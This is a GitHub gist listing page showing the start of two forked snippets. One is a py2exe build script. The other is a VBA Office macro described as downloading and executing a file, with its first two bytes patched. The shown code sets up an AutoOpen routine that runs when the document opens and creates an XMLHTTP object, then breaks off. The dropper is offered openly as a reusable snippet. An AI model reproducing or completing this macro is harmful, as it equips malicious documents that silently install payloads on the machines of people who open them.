Skip to content

Instantly share code, notes, and snippets.

@johnjohny1990
johnjohny1990 / gen_exe.py
Created August 1, 2018 11:41 — forked from zhuzhuor/gen_exe.py
use py2exe to generate a standalone exe file from python script
import sys
try:
import py2exe
except:
raw_input('Please install py2exe first...')
sys.exit(-1)
from distutils.core import setup
import shutil
@johnjohny1990
johnjohny1990 / Download and Execute Office Macro
Created October 3, 2017 06:07 — forked from nopslider/Download and Execute Office Macro
A short VBA macro to download and execute a file (patching the first two bytes of the file)
Sub AutoOpen()
Const ADTYPEBINARY = 1
Const ADSAVECREATEOVERWRITE = 2
Dim xHttp
Dim bStrm
Dim filename
Set xHttp = CreateObject("Microsoft.XMLHTTP")